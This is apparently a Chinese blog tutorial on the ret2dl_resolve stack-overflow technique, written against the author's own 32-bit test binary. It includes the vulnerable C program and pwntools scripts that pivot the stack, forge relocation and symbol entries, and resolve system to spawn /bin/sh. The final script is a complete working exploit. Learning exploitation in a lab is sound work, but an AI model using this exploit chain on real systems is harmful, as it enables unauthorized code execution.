有这么一个漏洞,他能在程序不提供任何输出函数的情况下执行system("/bin/sh"),没错,他就是ret2dl_resolve,这个我也认为是栈溢出的最后一关了,因此我现在就算是栈溢出毕业了吧hhhh。

elf文件我们自给自足,自己编译,为了一步一步演示,还是给了一个输出函数,但是我们不通过这个输出函数去泄露libc的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <unistd.h>
#include <stdio.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to the last stackoverflow";
setbuf(stdout, buf);
puts(buf);
vuln();
return 0;
}


$gcc -g ret2dlresolve.c -o bof -no-pie -fno-stack-protector -z relro -m32

我们编译32位的只开NX保护程序测试。

_dl_runtime_resolve函数

_dl_runtime_resolve的原型是_dl_runtime_resolve(link_map,reloc_offset)参数link_map的参数传入在reloc_offset之后(根据32位函数调用约定),在动态链接中,所有函数的延迟绑定都需要用这个函数去寻址。寻址的时候eip会在plt[0]然后push got[1],jmp got[2]got[1]就是link_mapgot[2]就是dl_runtime_resolve函数了。

再次解释一遍第一次调用函数的流程。调用肯定是从plt表的对应位置调用的,plt表都会指向got表一个地址,got表在没有被写入函数地址时会push一个reloc_arg,然后jmp plt[0]plt[0]有一段指令就是压got[1]做参数,然后jmp dl_runtime_resolve。然后拆开这个函数会发现它内部调用了_dl_fixup函数,这个函数就是用来找地址和回写got表的。

控制reloc_offset参数

对于这个程序,我们先把栈迁移到.bss段上,然后在这个段上精心构造payload就可,首先我们直接调用plt[0],自己传reloc_offset参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level='debug'
proc='./bof'
elf=ELF(proc)
p=process(proc)
elf=ELF(proc)

read=elf.plt['read']
bss=0x804c024#readelf -S bof查看所有的段的地址
ppp_ret=0x08049331#ROPgadget
leave_ret=0x08049145
pop_ebp=0x08049333
stack_size=0x400
stack_start=bss+stack_size
buf_size=0x6c+4


payload=flat(
buf_size*b'a'
,p32(read)+p32(ppp_ret)#弹出三个参数
,p32(0)+p32(stack_start)
,p32(100)
,p32(pop_ebp)#栈迁移
,p32(stack_start)
,p32(leave_ret)
)
p.sendlineafter(b'Welcome to the last stackoverflow',payload)

#gdb.attach(p)
sleep(1)
cmd=b'/bin/sh\0'
reloc_arg=0x10
plt_0=0x8049030

payload=flat(
b'a'*4#这个给leave指令后的pop ebp,实际从下面开始执行
,p32(plt_0)
,p32(reloc_arg)
,b'a'*4
,p32(stack_start+92)
)
payload=payload.ljust(92,b'a')
payload+=cmd
p.send(payload)


p.interactive()

ret2dl_resolve_1.png

可以看到我在没有直接调用puts的情况下输出了/bin/sh字符串。

但是可以看到,这里的第二个参数是我自己传的,为什么是0x10呢,0x10puts函数的重定位项在.rel.plt段的偏移。重定位项是这么一个结构体

1
2
3
4
5
typedef struct{
Elf32_Addr r_offset; // 其实就是got表的地址
Elf32_Word r_info; // 符号表索引,高三个字节指示了puts函数在.dynsym段上的偏移/16。
//因此得出的偏移必须被16整除。
}Elf32_Rel;

由于我们有puts函数,所以.rel.plt段上有现成的结构体,我们现在主要来伪造.rel.plt重定位项的结构体。

伪造重定位项

我们只需要改第二个payload即可。

我们在栈上伪造的重定位项的地址

1
fake_rel-.rel.plt_addr=reloc_offset

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rel_plt=0x8048388
sleep(1)
fake_puts=flat(p32(puts_got),p32(0x307))
cmd=b'/bin/sh\0'
reloc_arg=stack_start+20-rel_plt
plt_0=0x8049030

payload=flat(
b'a'*4#这个给leave指令后的pop ebp,实际从下面开始执行
,p32(plt_0)
,p32(reloc_arg)
,b'a'*4
,p32(stack_start+92)
,fake_puts
)
payload=payload.ljust(92,b'a')
payload+=cmd
p.send(payload)

运行结果:

ret2dl_resolve_2.png

伪造符号

既然r_info我们可以控制,自然我们也能把它的偏移改到我们可以控制的地址当中,然后在那里伪造一个符号结构体。

我们来看看符号ELF32_Sym的结构体

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
}Elf32_Sym;

然后构造出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
plt_0=0x8049030
rel_plt=0x8048388
dynsym=0x8048248
str_tab=0x80482D8
cmd=b'/bin/sh\0'


align=0x10-(stack_start+28-dynsym)%0x10
fake_sym_addr=stack_start+28+align
r_info=(((fake_sym_addr-dynsym)//16)<<8)|0x7
fake_puts=flat(p32(puts_got),p32(r_info))

reloc_arg=stack_start+20-rel_plt
fake_sym=flat(p32(0x1a),p32(0)*2,p32(0x12))

payload=flat(
b'a'*4#这个给leave指令后的pop ebp,实际从下面开始执行
,p32(plt_0)
,p32(reloc_arg)
,b'a'*4
,p32(stack_start+92)
,fake_puts
,align*b'a'
,fake_sym
)
payload=payload.ljust(92,b'a')
payload+=cmd
p.send(payload)

伪造字符串

最后一步就是在某个地方写上puts然后修改st_name到那个puts就可,然后把puts替换成system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
python

from pwn import *
context.log_level='debug'
proc='./bof'
elf=ELF(proc)
p=process(proc)
elf=ELF(proc)

puts_got=elf.got['puts']
read=elf.plt['read']
bss=0x804c024#readelf -S bof查看所有的段的地址
ppp_ret=0x08049331#ROPgadget
leave_ret=0x08049145
pop_ebp=0x08049333
stack_size=0x800
stack_start=bss+stack_size
buf_size=0x6c+4


payload=flat(
buf_size*b'a'
,p32(read)+p32(ppp_ret)#弹出三个参数
,p32(0)+p32(stack_start)
,p32(100)
,p32(pop_ebp)#栈迁移
,p32(stack_start)
,p32(leave_ret)
)
p.sendlineafter(b'Welcome to the last stackoverflow',payload)

sleep(1)
#gdb.attach(p)

plt_0=0x8049030
rel_plt=0x8048388
dynsym=0x8048248
str_tab=0x80482D8
cmd=b'/bin/sh\0'


align=0x10-(stack_start+28-dynsym)%0x10
fake_sym_addr=stack_start+28+align
r_info=(((fake_sym_addr-dynsym)//16)<<8)|0x7
fake_puts=flat(p32(puts_got),p32(r_info))

str_addr=fake_sym_addr+0x10
st_name=str_addr-str_tab

reloc_arg=stack_start+20-rel_plt
fake_sym=flat(p32(st_name),p32(0)*2,p32(0x12))

payload=flat(
b'a'*4#这个给leave指令后的pop ebp,实际从下面开始执行
,p32(plt_0)
,p32(reloc_arg)

,p32(stack_start+92)*2
,fake_puts
,align*b'a'
,fake_sym
,b'system\0'
)
print(st_name)
payload=payload.ljust(92,b'a')
payload+=cmd
#gdb.attach(p)
p.send(payload)


p.interactive()

ret2dl_resolve_3.png

完结撒花,开始学堆。